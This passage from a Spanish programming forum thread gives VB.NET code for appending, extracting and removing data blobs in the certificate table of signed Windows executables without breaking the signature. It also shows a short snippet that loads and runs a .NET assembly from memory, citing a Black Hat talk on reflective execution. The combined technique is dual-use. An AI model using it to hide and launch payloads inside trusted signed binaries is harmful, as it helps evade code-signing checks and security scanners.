  317.    ''' <summary>
  318.    ''' Finds the file offset for the <c>Attribute Certificate Table</c> data-directory entry in the specified <see cref="FileStream"/>.
  319.    ''' </summary>
  320.    '''
  321.    ''' <param name="fs">
  322.    ''' The <see cref="FileStream"/> containing the PE file for which to find the file offset.
  323.    ''' </param>
  324.    '''
  325.    ''' <param name="headers">
  326.    ''' The <see cref="PEHeaders"/> instance that describes the structure of the PE file.
  327.    ''' </param>
  328.    '''
  329.    ''' <param name="certDirRVA">
  330.    ''' The Relative Virtual Address (RVA) of the Certificate Table to match.
  331.    ''' </param>
  332.    '''
  333.    ''' <returns>
  334.    ''' The offset (in bytes from the beginning of the <see cref="FileStream"/>) that points to the Certificate Table data-directory entry.
  335.    ''' </returns>
  336.    <DebuggerStepperBoundary>
  337.    Private Shared Function FindCertificateDataDirectoryEntryFileOffset(fs As FileStream, headers As PEHeaders, certDirRVA As Integer) As Integer
  338.  
  339.        ' The fixed size, in bytes, for each data-directory entry (IMAGE_DATA_DIRECTORY structure).
  340.        ' https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-data-directories-image-only
  341.        Const DataDirStructSize As Short = 8
  342.  
  343.        Dim fsPosition As Long = fs.Position
  344.  
  345.        Dim optHeaderOffset As Integer = headers.PEHeaderStartOffset
  346.        Dim optHeaderSize As Short = headers.CoffHeader.SizeOfOptionalHeader
  347.        Dim dataDirsFileOffset As Integer = optHeaderOffset + optHeaderSize - (headers.PEHeader.NumberOfRvaAndSizes * DataDirStructSize)
  348.        Dim certDirFileOffset As Integer = -1
  349.        For i As Integer = 0 To headers.PEHeader.NumberOfRvaAndSizes - 1
  350.            Dim entryOffset As Integer = dataDirsFileOffset + i * DataDirStructSize
  351.            fs.Position = entryOffset
  352.            ' Get IMAGE_DATA_DIRECTORY::VirtualAddress (DWORD) field.
  353.            Dim rvaBytes As Byte() = StreamExtensions.ReadExact(fs, 4)
  354.            Dim rva As UInteger = BitConverter.ToUInt32(rvaBytes, 0)
  355.            If rva = CUInt(certDirRVA) Then
  356.                certDirFileOffset = entryOffset
  357.                Exit For
  358.            End If
  359.        Next
  360.        If certDirFileOffset = -1 Then
  361.            Dim msg As String = "Cannot find the Certificate Table data-directory entry."
  362.            Throw New InvalidOperationException(msg)
  363.        End If
  364.  
  365.        fs.Position = fsPosition
  366.        Return certDirFileOffset
  367.    End Function
  368.  
  369.    ''' <summary>
  370.    ''' Updates the <see href="https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory">IMAGE_DATA_DIRECTORY::Size</see>
  371.    ''' and <see href="https://learn.microsoft.com/en-us/windows/win32/api/wintrust/ns-wintrust-win_certificate">WIN_CERTIFICATE::dwLength</see> fields
  372.    ''' of the Certificate Table data directory in the specified PE file to the given new length.
  373.    ''' </summary>
  374.    '''
  375.    ''' <param name="fsInput">
  376.    ''' The input <see cref="FileStream"/> used to resolve file offsets in the PE file.
  377.    ''' </param>
  378.    '''
  379.    ''' <param name="fsOutput">
  380.    ''' The output <see cref="FileStream"/> where updates will be written.
  381.    ''' </param>
  382.    '''
  383.    ''' <param name="headers">
  384.    ''' The <see cref="PEHeaders"/> of the PE file.
  385.    ''' </param>
  386.    '''
  387.    ''' <param name="certDirRVA">
  388.    ''' The Relative Virtual Address (RVA) of the Certificate Table data-directory entry.
  389.    ''' </param>
  390.    '''
  391.    ''' <param name="newLength">
  392.    ''' The new size to write to both IMAGE_DATA_DIRECTORY::Size and WIN_CERTIFICATE::dwLength fields.
  393.    ''' </param>
  394.    <DebuggerStepThrough>
  395.    Private Shared Sub UpdateCertificateTableLengths(fsInput As FileStream, fsOutput As FileStream,
  396.                                                     headers As PEHeaders, certDirRVA As Integer,
  397.                                                     newLength As UInteger)
  398.  
  399.        ' Dynamically find the file offset for "Attribute Certificate Table" data-directory.
  400.        Dim certDirFileOffset As Integer = FindCertificateDataDirectoryEntryFileOffset(fsInput, headers, certDirRVA)
  401.  
  402.        ' Update IMAGE_DATA_DIRECTORY::Size (DWORD) field in the Certificate Table data-directory.
  403.        ' https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory
  404.        fsOutput.Position = certDirFileOffset + 4
  405.        fsOutput.Write(BitConverter.GetBytes(newLength), 0, 4)
  406.  
  407.        ' Update WIN_CERTIFICATE::dwLength (DWORD) field.
  408.        ' https://learn.microsoft.com/en-us/windows/win32/api/wintrust/ns-wintrust-win_certificate
  409.        fsOutput.Position = certDirRVA
  410.        fsOutput.Write(BitConverter.GetBytes(newLength), 0, 4)
  411.    End Sub
  412.  
  413. End Class



Ejemplos de uso

◉ Ejemplo para adjuntar un blob de datos arbitrarios (en este caso solo le adjuntamos el contenido de un archivo de texto plano cualquiera) a un archivo PE. El archivo modificado se escribe en una nueva ubicación.

Recordatorio: el archivo PE original que vayamos a modificar, debe contener un certificado digital.

Código
  1. Dim inputFilePath As String = "C:\original_executable.exe"
  2. Dim outputFilePath As String = "modified_executable.exe"
  3.  
  4. Dim fileToAppend As New FileInfo("C:\My Secret Document.txt")
  5. Dim markerBegin As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_BEGIN#")
  6. Dim markerEnd As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_END#")
  7.  
  8. Using blobStream As FileStream = fileToAppend.OpenRead()
  9.    PortableExecutableUtil.AppendBlobToPECertificateTable(inputFilePath, outputFilePath,
  10.                                                          blobStream, markerBegin, markerEnd,
  11.                                                          throwIfInvalidCertSize:=True,
  12.                                                          overwriteOutputFile:=False)
  13. End Using

◉ Ejemplo para obtener todos los blobs de datos que hayan sido adjuntados en un archivo PE, y seguidamente volcar el contenido del primer blob al disco.

Código
  1. Dim inputFilePath As String = "modified_executable.exe"
  2. Dim markerBegin As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_BEGIN#")
  3. Dim markerEnd As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_END#")
  4.  
  5. Dim extractedBlobs As ImmutableArray(Of ArraySegment(Of Byte)) =
  6.    PortableExecutableUtil.GetBlobsFromPECertificateTable(inputFilePath, markerBegin, markerEnd)
  7.  
  8. Dim selectedBlob As ArraySegment(Of Byte) = extractedBlobs.First()
  9. Dim outputFilePath As String = "Extracted_blob.bin"
  10.  
  11. Using msBlob As New MemoryStream(selectedBlob.Array, selectedBlob.Offset, selectedBlob.Count, writable:=False),
  12.      fsOutput As New FileStream(outputFilePath, FileMode.Create, FileAccess.Write, FileShare.Read,
  13.                                 bufferSize:=8192 * 2, FileOptions.None)
  14.  
  15.    msBlob.CopyTo(fsOutput)
  16. End Using

◉ Ejemplo para eliminar un blob de datos específico adjuntado en un archivo modificado. El archivo restaurado se escribe en una nueva ubicación.

Código
  1. Dim inputFilePath As String = "modified_executable.exe"
  2. Dim outputFilePath As String = "restored_executable.exe"
  3.  
  4. Dim blobIndexToRemove As Integer = 0
  5. Dim markerBegin As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_BEGIN#")
  6. Dim markerEnd As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_END#")
  7.  
  8. PortableExecutableUtil.RemoveBlobFromPECertificateTable(inputFilePath, outputFilePath,
  9.                                                        blobIndexToRemove, markerBegin, markerEnd,
  10.                                                        overwriteOutputFile:=False)

◉ Ejemplo para eliminar todos los blobs de datos adjuntados en un archivo modificado. El archivo restaurado se escribe en una nueva ubicación.

Código
  1. Dim inputFilePath As String = "modified_executable.exe"
  2. Dim outputFilePath As String = "restored_executable.exe"
  3.  
  4. Dim markerBegin As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_BEGIN#")
  5. Dim markerEnd As Byte() = Encoding.UTF8.GetBytes("#CERT_BLOB_END#")
  6.  
  7. PortableExecutableUtil.RemoveBlobsFromPECertificateTable(inputFilePath, outputFilePath,
  8.                                                         markerBegin, markerEnd,
  9.                                                         overwriteOutputFile:=False)



Fin de los ejemplos de uso.

Como habrán podido comprobar, la forma de uso es sencillísima. Además, me gustaría mencionar que el código ha sido desarrollado siendo consciente de la eficiencia del uso de memoria, especialmente en el método AppendBlobToPECertificateTable.

Para probar estos ejemplos pueden usar mismamente el archivo explorer.exe de Windows, que está firmado digitalmente por Microsoft.

También quisiera resaltar otras cuestiones relacionadas y más técnicas a tener en cuenta:

  ◉ El layout de cada bloque de datos adjunto, es el siguiente:



Verde: Datos originales de la tabla de certificado del PE.
Rojo: Marcador de inicio y marcador final del bloque de datos adjunto.
Azul: Datos de la estructura CertBlobMeta.
Rosa: Datos actuales adjuntados.
Amarillo: Padding añadido para ajustar el alineamiento de la tabla de certificado.

Dicho de otra forma:
[MarkerBegin][CertBlobMeta][Blob][MarkerEnd][Padding]

  ◉ La estructura CertBlobMeta almacena "metadatos" que permiten identificar de manera óptima y eficiente el tamaño del blob y cualquier padding que se haya añadido. Esta estructura puede ampliarse para incluir otros datos que necesites, sin que el resto del código requiera modificaciones (siempre y cuando cada campo tenga un tamaño fijo en bytes).

Por ejemplo:
Código
  1. <StructLayout(LayoutKind.Sequential, Pack:=1)>
  2. Private Structure CertBlobMeta
  3.    Friend BlobSize As Integer ' 4 bytes
  4.    Friend PaddingLength As Integer ' 4 bytes
  5.  
  6.    Friend CustomShortValue As Short ' 2 bytes
  7.  
  8.    <MarshalAs(UnmanagedType.ByValArray, SizeConst:=256)>
  9.    Friend CustomByteArray As Byte() ' 256 bytes
  10. End Structure ' 4 + 4 + 2 + 256 = 266 bytes

  ◉ El tamaño máximo para una tabla de certificado válida, es de aproximadamente 100 MB. No he encontrado el valor exacto en la SDK de Windows, sin embargo, bajo un proceso de ensayo y error he llegado a la conclusión de que el límite, al menos en Windows 10, es de '102400000 + 8' bytes (97,65438 MiB). Si la tabla supera este tamaño, el sistema operativo no reconocerá el certificado. La firma digital no se invalidará, simplemente no se reconocerá / no se parseará correctamente. Mi código maneja este límite y -opcionalmente- puede lanzar una excepción para evitar exceder dicho límite.

  ◉ El código permite trabajar con aproximadamente un búfer de 2 GB de tamaño, dependiendo de la memoria disponible en el sistema, y del tamaño actual del archivo PE y de su tabla de certificado. Sin embargo, y como ya he explicado, una tabla de certificado mayor de ~100 MB quedará irreconocible para el sistema operativo, pero si eso no te supone un inconveniente, pues adelante. Por si sirve de algo, he adjuntado archivos pesados de aprox. 1,80 GB a la tabla de certificado, y el ejecutable modificado ha seguido funcionando correctamente:



  ◉ Si adjuntamos uno o más bloques de datos a la tabla de certificado de un archivo PE con el método AppendBlobToPECertificateTable, y luego eliminamos todos los bloques adjuntados con el método RemoveBlobFromPECertificateTable / RemoveBlobsFromPECertificateTable, el archivo restaurado será idéntico (byte a byte) al original antes de haberle efectuado ninguna modificación. 👍

  ◉ Mientras hacía pruebas, me he topado con software comercial de terceros que parecen hacer sus propias comprobaciones de integridad del archivo ejecutable, por lo que al modificar el PE, dan un error genérico al intentar iniciar el programa. En conclusión, hay que verificar que el archivo ejecutable modificado funcione correctamente, sin asumir nada.

Por último, un par de cuestiones a aclarar:

  ◉ La decisión de haber enfocado la lógica del código en escribir las modificaciones del PE en un nuevo archivo en vez de sobreescribir el archivo actual, ha sido una decisión personal, y no tengo intención de cambiar ese aspecto ya que lo considero una medida de seguridad muy importante.

  ◉ Los tamaños de los búferes para los FileStream han sido totalmente arbitrarios, se pueden cambiar. Actualmente en mi código de producción los búferes se ajustan de forma dinámica en base a ciertos factores específicos, pero eso no lo puedo mostrar aquí.

  ◉ En torno a la ejecución reflexiva de código que se abarca en el artículo que compartí de 'DeepInstinct - black hat USA 2016', no es mi intención profundizar en el tema y mostrar ningún ejemplo, pero si a alguien le interesa peudo decirle que en .NET es muy sencillo, siempre y cuando la intención sea ejecutar ensamblados .NET; Basta con realizar una llamada al método System.Reflection.Assembly.Load() para cargar un ensamblado .NET en memoria, y luego simplemente invocar el punto de entrada (entry point) del programa. Un ejemplo rápido:

Código
  1. Dim assemblyBytes As Byte() = File.ReadAllBytes("MyAssembly.exe")
  2. Dim asm As Assembly = Assembly.Load(assemblyBytes)
  3. Dim entry As MethodInfo = asm.EntryPoint
  4. If entry.GetParameters().Length = 0 Then
  5.    entry.Invoke(Nothing, Nothing)
  6. Else
  7.    entry.Invoke(Nothing, New Object() {...ARGUMENTOS DE INVOCACIÓN...})
  8. End If

⚠️Aunque considero haber probado lo suficiente todo el código que he compartido, yo también soy humano y puedo cometer algún que otro error o despiste, así que no me hago responsable de posibles daños causados al intentar modificar un archivo. Hagan siempre una copia de seguridad antes de modificar un archivo. 👍

Y hasta aquí, esto sería todo. 👋
« Última modificación: Hoy a las 16:38 por Eleкtro » En línea



Páginas: 1 ... 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines